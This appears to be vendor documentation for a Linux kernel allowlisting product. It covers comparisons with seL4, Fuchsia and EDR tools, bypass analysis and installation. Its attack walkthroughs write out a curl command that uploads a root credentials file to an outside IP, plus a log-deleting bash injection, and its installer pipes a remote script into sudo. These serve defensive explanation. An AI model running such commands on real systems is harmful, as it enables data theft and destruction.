How seL4 works. seL4 is a microkernel of roughly 10,000 lines of C backed by machine-checked proofs. Every kernel object — memory region, communication channel, thread control block — is named and accessed through an unforgeable token. A process starts with exactly the tokens its creator delegates, nothing more. To reach a file, a process must hold a token for that file’s underlying storage. To message another process, it must hold a token for the communication channel. There is no global path namespace to traverse: if you do not hold the token, the kernel rejects the call before any check fires.

What those guarantees require in practice. seL4’s proofs depend on keeping the kernel small enough that every line can be verified — roughly 10,000 lines of C. That means seL4 contains no file system, no network stack, no device drivers. Every service that exists in a standard Linux installation — SSH, package management, web server, any application — must be rebuilt as a userspace component with explicit token grants. Existing Linux software does not run on seL4 without a full OS porting effort. For a commercial server running standard software, deploying seL4 means replacing the entire software environment, not just the kernel.

How Root Lock by HeartSuite enforces the same principle on existing software. Root Lock by HeartSuite installs as a modified Linux kernel on a host already running standard software. Root Lock by HeartSuite controls whether each program can execute, which files it can read or write, and which network connections it can make — the existing binaries run without modification. Root Lock by HeartSuite observes what each binary does during Setup Mode; you build the allowlist through the Dashboard queues, review and approve, then engage Lockdown. The guarantee is a kernel-enforced allowlist on the software the host already runs.

The Setup Mode gap. seL4 has no learning phase. Token grants are designed at system build time by the developer who builds the system. There is no “observe what this service actually needs at runtime, then derive its policy” workflow. Root Lock by HeartSuite’s Setup Mode is the practical answer for standard infrastructure: run the system, record every access in the Dashboard queues, review and approve, then engage Lockdown. For any environment running standard Linux software, Root Lock by HeartSuite’s Setup Mode provides the observe-and-build path that seL4 cannot offer.

The policy-integrity gap. seL4 has no policy database; authority is the token set, which is structural. Root Lock by HeartSuite maintains an allowlist database, and Lockdown seals it: chattr +i across the relevant paths plus a kernel flag that blocks chattr via the ioctl hook at runtime, preventing any running program from modifying the allowlist. The two approaches defend at different layers: seL4 makes authority impossible to forge; Root Lock by HeartSuite makes the allowlist impossible to modify after Lockdown engages.

Platform. seL4 is not a Linux kernel; standard Linux software requires a full porting effort to run on it. Root Lock by HeartSuite targets Linux 5.19.6 and 6.18 and is installed by replacing the kernel on an existing host.

The two approaches make opposite foundational choices: build the OS from a proof up, or enforce on the software stack that already exists. For commercial infrastructure running standard Linux software, Root Lock by HeartSuite is the option that ships.

Object-capability operating systems

Fuchsia (Google) is a production operating system built on Zircon — a microkernel where every resource is accessed through an unforgeable handle. Like seL4, its security model is structural: no handle means no access, at the kernel boundary, before any policy database is consulted. Fuchsia adds two architectural properties that seL4 does not emphasize: per-component private namespaces and cryptographic verification of every executable.

Private namespaces. In Fuchsia, each component receives an explicitly assembled filesystem view — its /svc/, /data/, and /pkg/ entries are handle-routed by the Component Framework. There is no global root filesystem visible to all components. A compromised component cannot traverse upward to discover paths it was not given handles to; those paths do not exist in the component’s view. Root Lock by HeartSuite enforces on a global Linux filesystem. Root Lock by HeartSuite controls whether a program can access a given path, but the path still exists and an access attempt returns an error rather than silence. Root Lock by HeartSuite’s global filesystem is what makes existing Linux software run unchanged — the same choice that allows deployment on any existing Linux server.

Cryptographic integrity. Fuchsia verifies every executable through BlobFS — a storage layer where each file is identified by its hash and verified before execution. Replacing a binary silently is structurally impossible. Root Lock by HeartSuite seals the allowlist database and critical system paths at Lockdown with chattr +i filesystem immutability plus a kernel flag that blocks any running program from clearing those flags — no program, including root, can modify the allowlist or the protected system paths while Lockdown is active. Full cryptographic verification at boot requires building the OS around content-addressed storage from scratch. Root Lock by HeartSuite’s Lockdown provides runtime tamper-resistance on the Linux infrastructure already in production.

The Setup Mode gap. Fuchsia has no learning phase and no operator-facing allowlist tooling for standard server software — because standard server software does not run on Fuchsia. Root Lock by HeartSuite’s Setup Mode records what each binary does; you review and approve through the Dashboard queues, then engage Lockdown. The workflow exists because Root Lock by HeartSuite deploys on the software stack already running in production.

Platform. Fuchsia targets embedded devices and consumer hardware. It is not a Linux kernel and has no server deployment path. Root Lock by HeartSuite targets Linux 5.19.6 and 6.18 server deployments and is installed by replacing the kernel on an existing host.

Fuchsia’s security architecture is more restrictive at every layer: per-component namespaces, cryptographic verification, handle-only access, userspace drivers. Root Lock by HeartSuite provides enforced per-program allowlisting on existing Linux deployments without rebuilding the OS. For any organization running Linux infrastructure today, Root Lock by HeartSuite is the option that deploys.

Trust boundaries and bypass surface

Three questions cut to the core of any enforcement mechanism: who is trusted to set the policy, who is gated at runtime, and what does a bypass look like?

graph LR
    A[Attacker gains root] --> B["eBPF agent\n(Falco, Tetragon)"]
    A --> C["LSM framework\n(AppArmor, SELinux)"]
    A --> D["seccomp sandbox\n(bubblewrap, firejail)"]
    A --> E["Linux EDR agent\n(CrowdStrike, SentinelOne)"]
    A --> F["Root Lock by HeartSuite"]
    B --> G["Kill agent or\nunload BPF program"]
    C --> H["Set permissive or\nreload policy"]
    D --> I["Launch same binary\nwithout the filter"]
    E --> J["Kill driver or\nBYOVD bypass"]
    F --> K["Physical presence\nrequired"]
    G --> L["Protection disabled ✗"]
    H --> L
    I --> L
    J --> L
    K --> M["Protection intact ✓"]

The table below answers each question in full for the main enforcement mechanisms alongside Root Lock by HeartSuite.

Two differences carry the position. Every mechanism above narrows the runtime trust boundary to a subset of processes — one container, one labelled domain, one process tree, one observed program. Root Lock by HeartSuite narrows it to every program via a system-wide allowlist, root included. And where every competitor’s bypass is something an attacker can do remotely once they have root, Root Lock by HeartSuite’s bypass requires physical presence at the console. Those two shifts are the substance of the Root Lock by HeartSuite position.

The May 2026 TanStack npm attack illustrated the trust-boundary distinction from the supply chain direction. The attacker operated inside a legitimate build pipeline using valid credentials — SLSA provenance, OIDC, and 2FA all functioned as designed. No credential check or trust-chain verification registered anything to block. Root Lock by HeartSuite’s per-program network allowlist bounds what pipeline processes can reach from the host regardless of credential validity; connections to unapproved destinations are refused at the kernel.

What Root Lock by HeartSuite complements

These products do not overlap with Root Lock by HeartSuite. They answer different questions, and mature security programs run both.

Every allowlist approval action (programs, file paths, and network destinations) is written to a dedicated, persistent JSONL log that records timestamp, uid, and tty. This gives a machine-readable, session-attributable history of policy changes. An always-on rotating application audit log records UI and core operational events and errors. Lockdown advisories are generated from verdict logic with direct provenance back to the underlying allowlist state and decision records rather than from unfiltered event dumps. The combination of the per-decision enforcement stream, the dedicated approval log, and the application audit log produces a reconstructible record that security teams and auditors can use to trace what the system did, when, and why. | NDR / NTA | Darktrace, ExtraHop Reveal(x), Vectra AI, Corelight, Cisco Secure Network Analytics, FortiNDR | Passive network sensing, behavioural flow analysis, lateral-movement detection, encrypted-traffic fingerprinting | Root Lock by HeartSuite controls which programs reach which destinations. Traffic content, behavioural flow analysis, and cross-host correlation are what NDR is built for. | | Vulnerability management | Tenable Nessus, Qualys VMDR, Rapid7 InsightVM, Greenbone, Wiz, Orca | Enumerate installed packages and services, match against CVE databases, produce a prioritised patch list | Root Lock by HeartSuite reduces the blast radius of an unpatched CVE — a vulnerable but allowlist-bounded program cannot escalate beyond its allowlist. Mapping what needs patching is what vulnerability scanners are built for, and SOC 2, PCI DSS, and ISO 27001 require them as a distinct control. Agent-based scanners (Tenable Nessus Agent, Qualys Cloud Agent) run as allowlisted programs — run the scanner during Setup Mode so HS logs its programs and file access paths, then review and approve the entries through the Dashboard queues. Network-based scans from an external host reach the HS system over its normal network stack without special configuration. | | HIDS / FIM | OSSEC, AIDE, Tripwire, Samhain, Wazuh | File-integrity monitoring, log-based intrusion detection, rootkit signatures | Root Lock by HeartSuite enforces file integrity via Lockdown; HIDS adds independent alerting on unexpected change. Redundancy matters — different products have different failure modes. |

Root Lock by HeartSuite makes a class of attacks impossible rather than merely visible. Your SIEM, NDR, and VA scanner work on what remains — a smaller, more focused set of events.

Where a separate kernel is required

Root Lock by HeartSuite deliberately omits certain kernel features — overlay, user namespaces, BPF — because they are the attack surface, path to root, and bypass primitives the design removes. Workloads that need them run on the maintenance kernel or a separate system:

• Kubernetes nodes with dynamic container scheduling after Lockdown — many instances of the same binary are supported, but new mounts for HPA scale-out or rescheduling are refused. Fixed pod sets before Lockdown work via the Container-host install; see Deployment Scenarios.
• Falco, Cilium Tetragon, bpftrace, and similar eBPF tools — the BPF syscall is deliberately absent. This closes the verifier bypass surface and prevents unloading of enforcement. Observe from adjacent hosts via syslog instead.
• Hypervisor hosts running VMs via KVM — KVM host features are compiled out to reduce attacker reach. Root Lock by HeartSuite runs as a guest, not a host.
• Systems that require rootless containers — unprivileged user namespaces are omitted; they are a path to privilege escalation without credentials. Use a separate host.

See System Requirements → Software Compatibility Notes for the full list.

For CISO and procurement evaluation of the HeartSuite kernel itself in enterprise fleets (including operational models, Secure Boot roadmap, and alternatives), see the Kernel Hardening → Enterprise Adoption Guide.

Circumvention and recovery

Every security system has a known way to be taken out of the picture. Being explicit about it is how customers evaluate fit.

Root Lock by HeartSuite’s allowlist can be changed through one path only:

1. Maintenance window — you switch to Setup Mode, make changes, and re-engage Lockdown. Logged and intentional.
2. Lockdown recovery — when Lockdown is active, the allowlist cannot be edited even by root on the Root Lock by HeartSuite kernel. Recovery requires booting the maintenance kernel, using the Dashboard’s Maintenance ([m]) to remove the seal, and rebooting back. Booting the maintenance kernel requires physical presence — a keyboard and monitor at the machine, a serial port, or your cloud provider’s serial console. An attacker without physical presence cannot take this path.

What this means for security:

• Remote root alone is not sufficient to defeat enforcement. There is no agent to kill, no kernel module to unload, no LSM policy to set permissive, and no way to remotely force a reboot into the maintenance kernel.
• Defeating Root Lock by HeartSuite requires physical presence — a keyboard and monitor at the machine, a serial port, or your cloud provider’s serial console. SSH access, regardless of privilege level, is not sufficient.
• Physical presence always returns control to you — no software applied to the system can prevent it.

Compare this to the products in the first table: in most of them, remote root is sufficient to disable enforcement. Root Lock by HeartSuite is deliberately not in that category.

Nothing the attacker ran survives a reboot.

To see the three enforcement mechanisms tested against real attacks — including what happens when attackers stay within approved boundaries — see When Root Isn’t Enough.

The compliance answer. SOC 2, PCI DSS, and ISO 27001 each include a privileged-access control question: can an administrator, or an attacker who has compromised one, remotely disable security controls? Under Lockdown, no remote path — including root — can modify the allowlist or disable enforcement. Bypass requires the physical presence described above. Every product in the bypass table earlier in this page can be disabled by an attacker with remote root; Root Lock by HeartSuite cannot. For managed security providers, this is the answer they give to auditors — the same for every HeartSuite-protected server they manage in financial services, healthcare, and defence.

1.6 - Security as Economics

No security control is unconditionally unbreakable. The right question is not “can this be defeated?” but “what does defeating it cost the attacker — and what does operating it cost the defender?”

No false positives in blocking. In Lockdown, Root Lock by HeartSuite does not scan, score, or guess. A program either has an allowlist entry for the action it is attempting, or it does not. Permitted actions pass without interruption. Unpermitted actions are blocked. Every blocking decision is exact — not a detection estimate.

The boundary holds regardless of privilege. A process running as root can only reach the files its allowlist entry permits. Credentials, configuration, and data outside that slice are unreachable regardless of privilege level. Network destinations outside the allowlist are unreachable regardless of privilege level. Under Lockdown the allowlist itself is sealed — even root cannot edit it remotely. Each additional step the attacker takes requires a new custom exploit targeted at the specific program and allowlist slice they are confined to. The cost compounds. At some point the attack is no longer worth finishing.

Cost to implement. A finite window: run the programs you want to allow, the allowlist builds, engage Lockdown. Most customers complete it during a standard change window.

Operational cost

Patching urgency. CVE classes that correspond to compiled-out kernel features do not generate emergency patch windows — the feature is absent, and no CVE in that class applies regardless of when the patch ships. For CVEs in features that are present, a vulnerable program whose allowlist scope is bounded has a structurally limited blast radius. The remediation is real; the urgency is not. Patch batching on schedule, rather than emergency change windows, is the practical result.

Alert reduction. An attack that cannot progress past the kernel gate does not generate a SIEM or EDR alert. A binary that cannot execute never triggers a process-execution event. An outbound connection refused at the kernel never appears in NDR telemetry as a beacon or data-loss event. This is not alert filtering — the event never occurs. The alert classes this eliminates carry the highest triage cost: unauthorized execution, unauthorized exfiltration, and novel outbound destinations.

Maintenance. No signature updates. No rule libraries. No agent fleet. The allowlist changes when software legitimately changes — new binaries, updated dependencies, changed network destinations — in a maintenance window on your schedule. The more frequently software changes, the more frequently those windows are needed. For software that updates daily — package managers pulling live repositories, or applications shipping a new binary on each release — a maintenance window is required each time. That is low overhead on monthly or quarterly patch schedules; at daily cadence it compounds. Root Lock by HeartSuite fits well where the software stack is stable or follows a defined update process.

ROI compared

SELinux and AppArmor. LSM policy is a sustained engineering cost: SELinux refpolicy domain authoring, AppArmor profile maintenance, permissive-mode exceptions that accumulate under operational pressure, and policy audits before each OS upgrade. Each policy file is hand-authored and must be updated when software changes. Root Lock by HeartSuite’s allowlist is built by observation during Setup Mode — the kernel records what programs actually do and presents it for approval. The difference compounds over years: one observation-driven setup session versus ongoing policy authorship and drift management.

Zafran and risk-prioritization tools. Zafran, Nucleus, Vulcan Cyber, and similar tools correlate CVEs against your deployed controls to identify which patches are actually urgent. They do not enforce anything at runtime. Root Lock by HeartSuite reduces the urgency of items these tools surface: an unpatched CVE in a program whose allowlist scope is bounded has a structurally limited blast radius — a legitimate but lower-priority remediation. The two compose: a risk-prioritization tool can correctly de-prioritize CVEs in Root Lock by HeartSuite-bounded programs because the enforcement is verifiable and the blast radius is documented.

Linux EDR. CrowdStrike Falcon, SentinelOne, and Microsoft Defender for Endpoint generate alerts that require analyst triage. The attack classes Root Lock by HeartSuite prevents — unauthorized binary execution, file access outside approved scope, outbound connections to unapproved destinations — never reach the EDR because the attack cannot progress past the kernel gate. Fewer alerts is not filtering; it is that the attack class is structurally absent from the host. EDR’s telemetry, behavioural analytics, and incident response capabilities remain valid for what Root Lock by HeartSuite does not cover. The honest position: Root Lock by HeartSuite changes what the EDR has to process, not whether you run one.

Cost to buy. Root Lock by HeartSuite replaces the preventive-enforcement layer of several overlapping tools, leaving detection and response capabilities intact. What that means in practice for each category:

• Commercial eBPF enforcement tools (Sysdig Secure, commercial Falco, Cilium Tetragon) — Root Lock by HeartSuite removes the BPF syscall by design. These tools cannot run on the HS kernel (and their role is covered by the allowlist). Budget line removed; stronger prevention gained.
• gVisor — if you are running it solely to protect workloads from root-level compromise inside a container or VM, Root Lock by HeartSuite is a direct replacement as the guest kernel. No second userspace kernel layer.
• The blocking dimension of Linux EDR (CrowdStrike Falcon, SentinelOne, MDE) — prevention is replaced; telemetry, behavioural analytics, and SOC console are not. Some vendors offer lighter-tier pricing for telemetry-only deployments.
• AppArmor and SELinux — no licensing cost, but the policy-authoring overhead is real; see the SELinux comparison above.

Whether the licensing savings cover the Root Lock by HeartSuite subscription depends on your current stack. The operational consolidation — no signature updates, no rule libraries, no agent fleet — is consistent regardless.

CTEM programs — Continuous Threat Exposure Management — cover exposure discovery, prioritisation, and validation across a whole estate: continuously mapping what an attacker could reach and ranking what to fix first. That scope fits large organisations managing complex, heterogeneous environments. For most deployments it is broader than the problem and carries corresponding cost. Root Lock by HeartSuite addresses one specific problem: the OS design assumption that grants every running program the file and network rights of the user who launched it. Removing that assumption at the kernel level does not require a continuous discovery and ranking program.

The CISO case. An attacker who reaches root still cannot exceed the per-program, per-file, per-IP boundaries already in place. The blast radius is structurally bounded — not detected after the fact, not mitigated after the fact, bounded before anything runs. That changes the economics of every attack that reaches the host. It does not eliminate breach risk. It makes lateral movement, exfiltration, and privilege escalation substantially more expensive to execute — before detection has a chance to respond.

1.7 - Linux Security Layer Analysis

Purpose: Security audits and competitive evaluations often group products by vendor category — EDR, SIEM, NDR — without capturing where in the kernel stack enforcement actually happens. This page maps Linux host security products to the enforcement layer they occupy. Layer placement determines bypass surface: a product enforcing at Layer 2 cannot be disabled by a mechanism that only reaches Layer 3 or above.

Layer definitions

The higher the layer, the more layers beneath it an attacker can leverage to disable it. A Layer 5 agent can be killed by a process with root. A Layer 3 LSM policy can be set permissive by root. A Layer 2 kernel configuration cannot be changed without rebooting into a different kernel. For a visual representation of this by product, see Kernel architecture.

Product map

Layer 2 — Kernel-embedded enforcement

Enforcement is part of the kernel binary. Changing it requires a reboot into a different kernel. Remote root is not sufficient to disable it.

Layer 2–3 — Userspace-process-run-as-kernel

gVisor intercepts container syscalls in a userspace process that acts as the container’s kernel, reducing exposure to the host kernel. The sentry process runs in userspace and can be compromised; a bug in its syscall emulation can allow escape. Root Lock by HeartSuite running as a guest kernel inside a gVisor-isolated container is a coherent composition — see How It Compares → gVisor.

Layer 3 — LSM hooks (in-tree)

Policy is applied to a running kernel from outside. Root with the right capability can set SELinux permissive, unload an AppArmor profile, or modify a policy file without rebooting.

Layer 3 — LSM hook + eBPF programs

eBPF programs are loaded into a running kernel at runtime. Root can unload the BPF program or kill the agent that loaded it.

Layer 3–5 — eBPF observability with optional in-kernel kill

These products span layers depending on configuration: eBPF programs run at Layer 3, the userspace agent sits at Layer 5. The kill capability (where present) runs in-kernel but is loaded and managed by a userspace process.

Layer 4 — Userspace agent sandbox

These tools set up confinement using kernel primitives (seccomp-bpf, Linux namespaces) from userspace. Filters are scoped to a process tree launched by the agent — a sibling process launched without the agent is unaffected.

Layer 5 — Agent-based EDR / XDR

The agent provides detection and response capabilities that Root Lock by HeartSuite does not replicate. Most modern breaches include “disable EDR” as an early step — root can kill the agent process, unload the kernel module, or exploit a BYOVD path. Treat these as complementary to Layer 2 enforcement, not substitutes.

Complementary controls (no enforcement overlap)

These products do not overlap with Layers 2–5 enforcement. They answer different questions and should run alongside host enforcement.

Takeaway

Root Lock by HeartSuite is the only product in this map sitting squarely at Layer 2 as a kernel-embedded allowlist enforced across all programs including root. Every other host enforcement product sits at Layer 3 (LSM hooks, eBPF programs) or higher — meaning a sufficiently privileged attacker can disable it remotely without rebooting. The Layer 2 position is what makes physical presence the only bypass path.

For the product-by-product comparison with bypass analysis, see How It Compares.

1.8 - When Root Isn't Enough

Overview: Every attack does three things: run a program, access files, make a network connection. Root Lock by HeartSuite controls all three — per program, not per user. Each section below targets one of these three mechanisms with a real attack. Every example involves root access. In each case, root is not enough.

Each attack below was actively exploited within days of its disclosure. The gap between a vulnerability being published and attackers using it has collapsed to hours, not weeks. Patching cannot keep pace. Root Lock by HeartSuite’s enforcement blocks these attacks regardless of whether the vulnerable software has been patched — because it gates what each program can reach, not whether a vulnerability exists.

A new program tries to run

The attack. An attacker gains a foothold on a server — a compromised web application, a stolen credential, a misconfigured service. Their next move is to get more capability. They download a tool: a reconnaissance script, a credential dumper, a reverse shell. On a standard Linux server, a file downloaded to /tmp is executable the moment it arrives. As root, there are no further gates.

What Root Lock by HeartSuite does. Every program must have an allowlist entry before the kernel will run it. A file downloaded to /tmp has no entry — it was never observed during Setup Mode, never reviewed, never approved. The kernel refuses to execute it. The attacker has a file. They cannot run it.

This applies equally to interpreted scripts. A malicious Python script dropped at /tmp/attack.py has no allowlist entry for that path. Root Lock by HeartSuite’s Secure Script Launchers give each script its own allowlist entry, separate from the interpreter. Python runs. The unauthorized script does not.

What it does not cover. If the attacker already controls an approved program and issues commands within that program’s approved scope, this particular gate does not apply. The other two still do: the program can only read and write files in its allowlist, and only connect to destinations in its network allowlist. And every attempt to launch a new program returns to this gate — any new program without an allowlist entry is blocked. See When Attackers Stay Within Approved Boundaries for the full picture.

An approved program reads what it shouldn’t

The attack. CVE-2021-41773 — Apache HTTP Server 2.4.49. A flaw in how Apache validates URL paths allows an attacker to craft a request that escapes the web root. Apache fetches and returns arbitrary files from the filesystem. The attacker requests /etc/passwd. Apache reads it and returns it. No authentication required.

The traditional defense — run Apache as www-data with limited permissions — does not help when the attacker targets files that www-data can legitimately read. On most systems, /etc/passwd is world-readable by design.

What Root Lock by HeartSuite does. Apache’s allowlist entry defines exactly which files and directories it can read. /etc/passwd is not in that list — Apache was never observed reading it during Setup Mode, because a correctly configured web server never needs to. When the crafted request causes Apache to attempt to open /etc/passwd, the kernel refuses. The path traversal works as a URL trick. It fails as a file operation.

The question is not whether the system user can read /etc/passwd. The question is whether this specific program — Apache — is approved to read it. It is not.

The same mechanism applies to binary replacement. If an attacker with root tries to overwrite /usr/bin/whoami with a malicious script, the write is blocked — because the program issuing the write does not have /usr/bin/whoami in its file write allowlist. Root privilege does not override this check.

What it does not cover. If the attacker targets only files the compromised program is already approved to read, this gate does not apply. The other gates still do: writes outside the approved paths are still blocked, every outbound connection is still gated by the network allowlist, and any new program the attacker tries to run is blocked at the program gate. See When Attackers Stay Within Approved Boundaries for the full picture.

An approved program sends data it shouldn’t

The attack. An attacker on a server uses curl — a standard utility present on nearly every Linux system — to send data out:

curl -X POST --data-binary "@/root/credentials.txt" http://203.0.113.42/upload

On a standard server with root access, this works. curl reads the file, opens a socket to the destination, and uploads the contents. The data leaves.

What Root Lock by HeartSuite does. Two checks activate, independently. First, /root/credentials.txt is not in curl’s file access allowlist — curl was never approved to read files from /root. The read fails before a connection is attempted. Second, even if curl could read the file, 203.0.113.42 is not in curl’s network allowlist. The socket is refused.

Either check alone stops the exfiltration. Both activate. The result is the same whether the attacker uses curl, wget, a raw /dev/tcp connection, or logger forwarding to a remote syslog server — the mechanism is identical for all of them: a socket to a non-allowlisted IP is refused, regardless of which tool asks and regardless of privilege level.

Log4Shell (CVE-2021-44228) shows the same gate working in reverse. The attack works by causing a vulnerable application to reach out to attacker-controlled infrastructure to fetch and run malicious code. That outbound request — to a server not in the application’s network allowlist — is refused. The code never arrives. The attack ends at the network gate before anything executes.

Scope. Network allowlisting controls which programs can reach which destinations. What they send over those approved connections is the domain of your network detection tools — see the complementary table in How Root Lock by HeartSuite Compares. Even when an attacker uses an approved program’s approved connection, the program still cannot reach destinations outside its network allowlist, read or write files outside its file allowlist, or launch a new program — see When Attackers Stay Within Approved Boundaries for the full picture.

When attackers stay within approved boundaries

Root Lock by HeartSuite enforces three things per program. An attacker who stays entirely within those approved boundaries is constrained — but not stopped. Each scenario below shows what remains enforced even then, and which defenses handle the rest.

Prompt injection. An attacker embeds instructions in content the program processes — a document, a web page, an API response. The program follows them. Root Lock by HeartSuite sees an approved program doing approved things. File access and outbound connections remain gated. The attack is in the meaning of the content — content-layer defenses are what handle content-layer attacks.

Command injection inside an approved interpreter. If bash is on the allowlist and an attacker causes an approved program to call bash -c 'rm /var/log/*', the command runs within bash’s approved file scope. File access outside that scope is still blocked. What runs inside an approved interpreter is not inspected — tight allowlist scope limits the damage.

Backdoored programs that are already on the allowlist. vsftpd 2.3.4 (CVE-2011-2523) shipped with a backdoor compiled in — connecting with a username containing :) opens a listener on port 6200 and hands the attacker a root shell. If vsftpd is on the allowlist, the backdoor activates inside vsftpd’s own process: no new binary executes, no outbound connection is made, and no file access outside vsftpd’s approved scope occurs. Root Lock by HeartSuite limits what the attacker can do with that shell — file reads and outbound network connections remain gated. A program already approved to run can exercise its approved permissions, including ones a backdoor author planned for.

Attacks within a program’s approved scope. A compromised web server that reads only files it is already approved to read, and connects only to destinations already in its network allowlist, operates within its allowlist. Every file outside that scope is still blocked. Every connection to an unapproved destination is still refused. Tight allowlisting limits the blast radius — and under Lockdown, the kernel blocks any program (including root) from reaching backup files, so previous versions remain intact and restorable from the Dashboard’s Backup.

Under Lockdown, the kernel controls three things per program — whether it can execute, which files it can read or write, and which network destinations it can reach — and holds those controls regardless of user privilege, including root. The allowlist is sealed — immutable on disk, refused at runtime by the kernel itself: no program or user, including root, can modify it while the machine is running. The backup files are protected by the Root Lock by HeartSuite kernel itself, not by filesystem permissions. Nothing the attacker ran survives a reboot.

For detection and response when an attack stays within approved boundaries, see How Root Lock by HeartSuite Compares — specifically the complementary tools table covering SIEM, NDR, and EDR. For the economics of this attack model — what it costs the attacker to work through each boundary — see Security as Economics.

2 - Getting Started

Overview: Root Lock by HeartSuite runs on two paths — Cloud (pre-installed instance, Dashboard appears on first login) and Local (manual installation with multiple reboots). Both converge at the Dashboard after Phase 1.

Before you begin

Check Before You Begin for system requirements and prerequisites, then follow your path below.

Cloud Path

Launch a pre-installed Root Lock by HeartSuite cloud instance (AWS AMI, GCP image). No download or kernel installation required — boot directly into Setup Mode and the Dashboard appears on first login. Follow the Suggested Next Step to begin Phase 2.

Local Path

Install Root Lock by HeartSuite on bare-metal or a custom VM:

1. Obtaining Root Lock by HeartSuite — download the installer from heartsecsuite.com.
2. Installation Part 1 — verify the download, run the installer, and reboot into the Root Lock by HeartSuite kernel.
3. Installation Part 2 — complete the System Setup through multiple reboot cycles until the Dashboard confirms Phase 1 is complete.
4. Verifying Installation — confirm Phase 1 is complete in the Dashboard.

Once Phase 1 is complete, both paths merge — the Dashboard shows your current phase and the Suggested Next Step directs you to begin allowlisting.

2.1 - Before You Begin

Overview: Two setup paths: Cloud (boot a pre-installed instance) or Local (install the kernel yourself). Confirm the requirements below match your system, then follow your path.

System requirements

• Operating System: x86 (64-bit) Linux — Debian 11–13, Ubuntu-derived, Alpine, or RPM-based (Rocky 9.7 validated; Fedora 41, CentOS Stream 9 validated; RHEL/AlmaLinux/SLES: customer validation). See Distro Compatibility Matrix.
• Access Level: Root access (sudo privileges).
• Skills: Basic familiarity with the Linux command line.

If your setup differs, check the Introduction for compatibility details.

Choosing your setup path

• Cloud Path: Launch a pre-installed Root Lock by HeartSuite cloud instance (AWS AMI, GCP image). No download or kernel installation required — you boot directly into Setup Mode and the Dashboard appears on first login.
• Local Path: Download the installation package from heartsecsuite.com, extract, install the Root Lock by HeartSuite kernel, and complete the Installation setup through multiple reboot cycles before reaching the Dashboard.

Both paths merge at the Dashboard after Phase 1 (System Verification) is complete.

Ready to install?

• Local Path: proceed to Obtaining Root Lock by HeartSuite.
• Cloud Path: launch your instance — the Dashboard appears on first login and confirms Phase 1 is complete.

3 - Obtaining and Installing Root Lock by HeartSuite

Overview: Root Lock by HeartSuite installation follows one of two paths depending on your deployment method. Both paths end at the Dashboard, where Phase 1 (System Verification) confirms that the machine is ready for allowlisting.

Cloud Path

Launch a pre-configured cloud instance (e.g., AWS AMI, GCP image). The Root Lock by HeartSuite kernel is already installed and the Dashboard confirms Phase 1 is complete on first boot and appears immediately — skip ahead to the allowlisting queues.

Local Path

Run a single install command, then reboot multiple times to build the initial allowlist of startup and shutdown programs. This path involves:

1. Obtaining Root Lock by HeartSuite — Run the install command.
2. Installation Part 1 — Run the installer and reboot to load the kernel.
3. Installation Part 2 — Complete the System Setup steps to allowlist startup and shutdown programs.

After the final reboot cycle, the Dashboard appears and displays the Suggested Next Step to guide you into Phase 2 (Program Allowlisting).

3.1 - Obtaining Root Lock by HeartSuite

Overview: Install Root Lock by HeartSuite with a single command.

Run the following command on the target system:

curl -fsSL https://get.heartsecsuite.com/get-heartsuite.sh | sudo sh

The script downloads and installs the Root Lock by HeartSuite kernel, tools, and Dashboard, then reboots automatically. Proceed to Installation Part 1 after the reboot.

3.2 - Installing Root Lock by HeartSuite – Part 1

Overview: After running the install command, the machine reboots into the Root Lock by HeartSuite kernel.

Reboot into the Root Lock by HeartSuite kernel

The installer sets the Root Lock by HeartSuite kernel as the default boot target and reboots automatically. A 5-second countdown appears — press Ctrl+C to cancel if you need to inspect logs before rebooting.

After reboot, Root Lock by HeartSuite reads the startup and shutdown logs and adds those programs to the allowlist automatically. Continue with Installation Part 2.

If the system does not boot into HeartSuite

If the machine boots to the wrong kernel or hangs:

1. Verify the installer completed without errors before the reboot fired.
2. Reboot and select the Root Lock by HeartSuite kernel from the GRUB menu manually.

If the issue persists, contact HeartSuite support — we’re happy to help.

3.3 - Installing Root Lock by HeartSuite – Part 2

Overview: No commands are needed after the first boot into the Root Lock by HeartSuite kernel. Root Lock by HeartSuite reads the startup and shutdown logs and adds the programs it finds to the allowlist — the Dashboard appears when this is complete and directs you into Phase 2 (Program Allowlisting).

What happens after the first boot

Root Lock by HeartSuite reads the startup and shutdown logs, adds the programs it finds to the allowlist, and reboots. This repeats until no new programs are found — typically three to five passes, depending on the distribution.

While setup is running, you will see:

• Over SSH: each time you reconnect, the login shows a brief status line and drops you at a regular shell — no action needed:

  HeartSuite Phase 1 is running — step N of unknown total.
  The system reboots automatically. Reconnect in a few minutes.
  

• On the serial console (virsh console, AWS/Azure/GCP serial console, IPMI SOL): attach and press Enter — the console autologs in and shows the current step. No action needed.

The first time you connect and the Dashboard appears, setup is complete. The Dashboard shows the reboot history and the Suggested Next Step directs you into Phase 2 (Program Allowlisting).

If the Dashboard does not appear

If setup is still running, SSH reconnects show the status line above instead of the Dashboard. Wait a few minutes and reconnect.

If repeated reconnects still show the status line rather than the Dashboard:

1. Open the serial console (virsh console <vm> for KVM, AWS/Azure/GCP serial console, IPMI SOL) and press Enter to see the current step. If it has not advanced across reboots, run journalctl -u heartsuite-phase1 to see the setup output.

2. Verify the Root Lock by HeartSuite kernel is loaded:

   uname -r
   

   Expected output ends in HeartSuite (for example, 6.18.9-HeartSuite-1.0).

3. If the wrong kernel booted, reboot and select the Root Lock by HeartSuite kernel from the GRUB menu manually.

If setup stops with an error

If something goes wrong during setup, the next login shows an error with the reason and the last output from the setup process.

Two options are available:

• [r] Retry — restarts the setup from where it stopped.
• [q] Open shell — drops you to a shell to investigate before retrying.

When the Dashboard appears and Phase 1 is confirmed, continue to Verifying Installation.

4 - Verifying Installation and Basic Setup

Overview: Phase 1 (System Verification) confirms that Root Lock by HeartSuite is active and the machine is ready for allowlisting. On the Cloud Path, the Dashboard confirms Phase 1 is complete on first boot. On the Local Path, the Dashboard confirms Phase 1 is complete once the installation process is done.

Cloud Path and Local Path

Cloud Path

When you launch a pre-installed Root Lock by HeartSuite cloud instance, the Dashboard confirms Phase 1 is complete on first boot and suggests the next step.

Local Path

After completing the local installation process (download, GRUB preparation, kernel install, and the System Setup’s multiple steps), the Dashboard appears once Phase 1 is complete. From here, both paths proceed identically.

What the Dashboard shows

When Phase 1 is complete, the Dashboard confirms:

• Protection state (indicator at the top): Shows SETUP MODE: Root Lock by HeartSuite is active, logging only, nothing blocked
• Phase Progress: Shows Phase 1 as Complete
• Status line at the bottom: Shows the kernel indicator (“Root Lock” or “maintenance kernel”), current mode, time in mode, and lockdown status
• Suggested Next Step: Directs you to begin Phase 2: Program Allowlisting

No user action is required and no manual verification command is needed. The Dashboard confirms this automatically.

Protection state

